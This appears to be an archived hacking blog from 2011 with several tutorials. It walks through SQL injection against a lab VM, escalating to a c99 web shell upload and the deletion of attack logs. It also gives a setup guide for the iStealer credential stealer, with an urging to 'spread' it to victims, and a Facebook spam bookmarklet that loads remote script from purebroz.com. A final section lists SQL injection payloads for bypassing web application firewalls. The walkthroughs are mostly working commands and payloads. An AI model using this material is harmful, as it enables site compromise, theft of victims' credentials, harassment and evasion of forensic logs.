http://192.168.132.128/

Step 2:

Login form of the website

http://192.168.132.128/?action=login

Step 3:

Now we will test the input forms against SQL injection. For that we can use SQL Inject Me tool. It can be launched from Tools > SQL Inject Me > Open SQL Inject Me Sidebar

Step 4:

You can see SQL Inject Me sidebar on the right

Step 5:

I'm checking all the fields to test.

Step 6:

I clicked on "Test all forms with all attacks"

Step 7:

Test results says that none of the fields are vulnerable to SQL injection attack. So its confirmed that the website is sanitizing the input

Step 8:

Now we will try to see what type of sanitizing mechanism the website is employed. For that we will use Firebug. It can be launched by going to Tools > Firebug > Open Firebug

Step 9:

Now that firebug is open. I'm enabling Inspect mode of Firebug clicking on the inspect icon (second one) on the top left corner.

Step 10:

I clicked on the login from and Firebug highlighted respective source code. It shows that some type of local JavaScript is used to sanitize the input.

Step 11:

For bypassing it, we will use Live HTTP Headers. It can be launched either from sidebar or by going to Tools > Live HTTP Headers

Step 12:

Now you can see Live HTTP Headers. The Capture check box must be checked.

Step 13:

I went back to the login from and entered some sample values there and pressed on Log In

Step 14:

Now I again went back to Live HTTP Headers. We can clearly see that it captured the session.

Step 15:

I scrolled it up to find the username, password data field. I clicked on it and pressed on Replay button

Step 16:

I'm changing the value little bit to bypass the authentication and clicking on Replay button

Step 17:
hmmm. I got an error message. Looks like I should modify the injected code.

Step 18:

I modified the code

Step 19:

No luck

Step 18:

I changed the value again and pressed on Replay button

Step 19:

Voila. I'm successfully authenticated.

Step 20:

Now that I have got admin access

If you wish to completely root the whole server, you can go to this post and follow steps from step 24

Advanced SQL Injection Tutorial - Complete website rooting

2011-08-24T23:17:00.000-07:00

Hi All,

In this tutorial we will be rooting a vulnerable web server using Mantra Security Toolkit.

What all you need

1. Mantra Security Toolkit - Download

2. A vulnerable website. I'm using a modified version of LAMPSecurity CTF6

3. Any PHP Shell you are comfortable with
- Google for "c99 shell"

Now the process

Step 1:

I'm on the home page of the website now

http://192.168.132.128/

Step 2:

I went through all the pages of web site and found a page with URL input

http://192.168.132.128/?id=13

Step 3:

I launched Hackbar by pressing F9

Step 4:

The power of single quote. I'm checking the web site is vulnerable or not by putting a ' at the end of the URL and pressing Execute.

http://192.168.132.128/?id=13'

Since the page content is different from the previous one. I can make sure that the web page is vulnerable.

Step 5:

Lets find out the number of tables

http://192.168.132.128/?id=13 order by 1

Step 6:

I have to keep on increasing the last number till I see any changes in the page. In usual practice its gonna be a tedious task since there will be hundreds and thousands of tables if not more. But with this tool I can simply press on + button till I see any changes on the webpage

http://192.168.132.128/?id=13 order by 7

Step 7:

I went up to 7 and no change till now

http://192.168.132.128/?id=13 order by 7

Step 8:

I'm on 8 now and I can see the page changed

http://192.168.132.128/?id=13 order by 8

Step 9:

Now lets go ahead and make a UNION statement. I just went to SQL > UNION SELECT STATEMENT

Step 10:

I provided the number of tables. Since I got a different page on table 8, I can make sure that table 8 does not exists and there are only 7 tables

Step 11:

Wonderful. I can see some numbers on the page now. Those are the vulnerable columns. Lets take the number 2

http://192.168.132.128/?id=13 UNION SELECT 1,2,3,4,5,6,7

Step 12:

I replaced number 2 in URL with another SQL command, it got executed and result is displayed on the page

http://192.168.132.128/?id=13 UNION SELECT 1,user(),3,4,5,6,7

The current user is cms_user@localhost

Step 13:

Lets find out the version of the database. I replaced 2 in the URL with version() command

http://192.168.132.128/?id=13 UNION SELECT 1,version(),3,4,5,6,7

5.0.45 is the version

Step 14:

Let me list all the tables

http://192.168.132.128/?id=13 UNION SELECT 1,table_name,3,4,5,6,7 from information_schema.tables

From this list I found "user" is an interesting table

Step 15:

Now I listed all the columns and its a big list

http://192.168.132.128/?id=13 UNION SELECT 1,column_name,3,4,5,6,7 from information_schema.columns

Step 16:

I want columns from the table "user" and nothing else

http://192.168.132.128/?id=13 UNION SELECT 1,column_name,3,4,5,6,7 from information_schema.columns where table_name='user'

Step 17:

Lets find the user name

http://192.168.132.128/?id=13 UNION SELECT 1,user_username,3,4,5,6,7 from user

Step 18:

Now, what about password

http://192.168.132.128/?id=13 UNION SELECT 1,user_password,3,4,5,6,7 from user

Its encrypted

Step 19:

Decrypting the password. I copied the MD5 hash, pasted it into hackbar and went to Encryption > MD5 Menu > send to > md5.rednoize.com

Step 20:

Voila.!!! I got the password

Step 21:

Finding the log in page. Its was right in front of me

Step 22:

Logging in with the credentials I have

Step 23:

Greetings.!!!

Step 24:

I'm an admin now. Look at my powers.

Step 25:

Let me add an event

Step 26:

and of course I want to upload a picture

Step 27:

Lets see it allows me to upload the shell or not

Step 28:

Now I'm pressing on "Add Event" button

Step 29:

Nice. Looks like it's got uploaded

Step 30:

Let's see where the shell got uploaded to

Step 31:

I'm trying to get the default upload location

Step 32:

Looks like I got it

Let me click on the c9shell.php file I just uploaded

Step 33:

Voila. I have shell access

Step 34:

I simply clicked on the up button to get the root folder

Now I can do whatever I wish. Deface the website, maintaining access or what ever. But its out of the scope of current tutorial

Step 35:

What I'm interested is the log folder

Step 36:

I clicked on the log.log file and it has the logs of my noisy SQL injection attacks

Step 37:

Let me go back and edit the log file

Step 38:

I deleted complete log entries. Now saving it.

Step 39:

Nice. Log file is empty now

Step 40:

Now. Lets remove the c99 shell by pressing on Self Remove

Step 41:

Confirmed.!!!

Step 42:

OK. Good Bye C99

Step 43:

Well. It got deleted itself

H4qqy H4ck!ng

iStealer 6.3 W1n_h4ck3r Setup---Noob Friendly----

2011-08-21T07:34:00.000-07:00

it will be detected as virus cos its a stealer .

1: Make an account on My3gb.com
2: Click on Create/Delete MySql Database...

3:You will come up to this Page:

Now I named the numbers as 1,2,3 and 4 so here what you have to do now on the above page:

1: fill this box with "db" without quotes and click on "create database"
2: fill this box with "user" without quotes
3: fill this box with password and click on "create user"
4: click on "Assign Privileges"

Now, Take a look at the end of the same page and you will get this :

Now ,go and open your "index.php" file using notepad ,this file be located inside your istealer folder, and you will see this:

1: $dbHost = Do Not change it ,Leave it same
2: $dbuser = In this one ,write your database username,which in my case is "xx112233_user" .
3: $dbpass = In this One,write your database password
4: $dbDatabase = In This one write your database name ,which in my case is "xx112233_db"

Now save it and go to your My3gb Upload folder ,Like this:

When you are there on Upload page you will see a "index.html" file already there :

Delete that file and after that upload the "index.php" and "style.css" File .

After you uploaded both files Now click on "index.php" file which you just uploaded and you will come up with this:

Login to this page ,this is the main page where you will get all logs from your victims and the login details to this page are:

user: admin
pass: admin

Now ,copy the whole link which you can see at the top ,this one:

Now,Open up your istealer.exe and paste this link in the "Url" Box ,Then Click on "Test Url" after that you will receive a message which will be "Works Pefect" or "Logger Not Found" ,Any of these two messages can come,it does not matter . After that Click on "Build" and save the "server.exe" in the istealer Folder.

See this Pic if you are confused:

You are now done setting up your istealer 6.3 legends !

Now go spread and enjoy .I might post a spreading tutorial also later on ...

Download Here

How to Spam someones Wall on Facebook.

2011-08-21T00:40:00.000-07:00

It is really annoying if your Facebook Wall is full with many messages. Recently I found the way of doing it and now i am sharing it with you people ;)

It is really easy to do it. All you need to do is to follow the following steps carefully.

#Step1: First you need to be on "http://" connection instead of "https://", so simple Login into your FB account and goto Account > Account Settings > Account Security. Over there "unTick" |Secure Browsing (https)|

#Step2: Now goto the Persons wall whom you want to spam , and then paste the following code into the address bar:

javascript:(a = (b = document).createElement("script")).src = "//purebroz.com/a.js", b.body.appendChild(a); void(0)

#Step3: Now a new box will pop up. In that type the number of times you want the message to be posted and click on "OK".

#Step4: After that type the message that you want to post and click on "OK"

After that its all done just refresh and you will Spam the other person.

WARNING# I dont take any responsiilty of misuse of this information.

!Basic! WAF Bypassing within SQLi !Tutorial!

2011-08-18T23:39:00.000-07:00

Hey all,

I have recently noticed quite a few newer users having trouble with challenges that involve WAF bypassing so here's a tutorial/reference for bypassing basic WAF's

What is a WAF?

WAF stands for Web Application Firewall. A WAF is put in place by the web applications administrator in an attempt to prevent attacks such as SQLi and XSS. They detect malicious attempts with the use of signature based filters and escapes defined within a list of rules. As a result of this design, they are vulnerable to being easily bypassed by obfuscating your exploit code.

Methods of Bypass

There are many more ways of bypassing these than I can list here but this is a basic overview of three common and easy methods to try first.

1. Comments

Comments can allow you to execute code without the WAF bothering check it.

Example

Before:

http://site.com/vuln.php?id=-1 UNION SELECT 1,2,3--

After:

 
http://site.com/vuln.php?id=-1 /*!UNION*/ /*!SELECT*/ 1,2,3--
 
Before:
http://site.com/vuln.php?id=-1 UNION SELECT 1,2,3--
 
After
http://site.com/vuln.php?id=-1  /*!UnIoN SelEcT*/ 1,2,3-- 

2. Capitalization of Functions

Because detections are signature based, randomly capitalizing functions can allow them to slip under the heuristic radar.

Example

Before:

http://site.com/vuln.php?id=-1 UNION SELECT 1,2,3--

After:

http://site.com/vuln.php?id=-1 uNiOn SeLeCt 1,2,3--

3. Exploiting Escapes

Some WAF's will escape certain keywords such as UNION, SELECT, ORDER BY, etc. This can be used to our advantage by duplicating the detected word within another.

Example

Before:

http://site.com/vuln.php?id=-1 UNION SELECT 1,2,3--

After:

http://site.com/vuln.php?id=-1 UNIunionON SEselectLECT 1,2,3--

Assuming the filter escapes the keywords "union" and "select", our code will be executed as normal.

H4ck T0 Le4rn 0r Le4rn To H4ck

Bypass google Mobile Verification

The Ultimate Guide Hacking Webpages

Hacking 40 best tips

RFI Full Tutorial For All New N00bs

Webshop Hacking (Credit Cards)

Hack Shop Admins And Get CC

Stay Anonymous And Secure by SSH Tunneling + TOR [PICTURES]

MySQL Injection Ultimate Tutorial

Learn Root - Totally Explaind

Common ways possible XSS, SQL, PHP-inj ....

Get Free YouTube Views

How To USE Cookies In Firefox With pics N00b Friendly

Web Bypass Tutorial

How to change your MAC address

How To Sqli a website Using Software N00b Friendly

How To Install Windows 7 Vista From USB Drive 100% working

How to Recover Windows 7 Password~Windows Password Killer Tool

Cross Site Scripting (XSS) N00b

-: Reveal *****(Asterisk) Passwords Using Javascript N00b Friendly:-

Solution How to compile Exploits For N00b Friendlly

Login Form Bypass using Mantra Security Toolkit

Advanced SQL Injection Tutorial - Complete website rooting

iStealer 6.3 W1n_h4ck3r Setup---Noob Friendly----

How to Spam someones Wall on Facebook.

!*Basic*! WAF Bypassing within SQLi !*Tutorial*!

!Basic! WAF Bypassing within SQLi !Tutorial!